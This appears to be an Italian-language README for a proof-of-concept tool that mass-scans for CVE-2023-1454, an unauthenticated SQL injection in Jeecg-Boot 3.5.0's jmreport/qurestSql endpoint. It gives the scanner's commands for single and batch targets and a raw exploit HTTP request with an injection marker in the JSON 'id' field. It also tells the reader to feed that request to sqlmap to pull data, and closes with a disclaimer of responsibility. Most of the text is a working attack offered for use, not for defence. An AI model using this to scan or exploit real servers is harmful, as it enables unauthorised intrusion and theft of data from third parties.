
jmreport/qurestSql poc di scansione batch di SQL injection non autorizzata
jmreport/qurestSql - POC per scansione di massa di SQL injection non autorizzata Jeecg-Boot è una piattaforma di sviluppo rapido basata su Spring Boot e Jeecg-Boot-Plus. Nell'ultima versione jeecg-boot 3.5.0 sono state scoperte multiple vulnerabilità di SQL injection.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 test su singolo URL
python3 CVE-2023-1454-scan.py -f url.txt scansione batch
Al termine della scansione, nella directory corrente verrà generato il file vuln.txt con gli URL vulnerabili.
poc:

exp:
Salva il pacchetto come file .txt e usa sqlmap per ottenere i dati.
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}

Qualsiasi conseguenza o danno diretto o indiretto derivante dalla diffusione o dall'utilizzo delle informazioni fornite in questo documento è di esclusiva responsabilità dell'utente; l'autore non si assume alcuna responsabilità.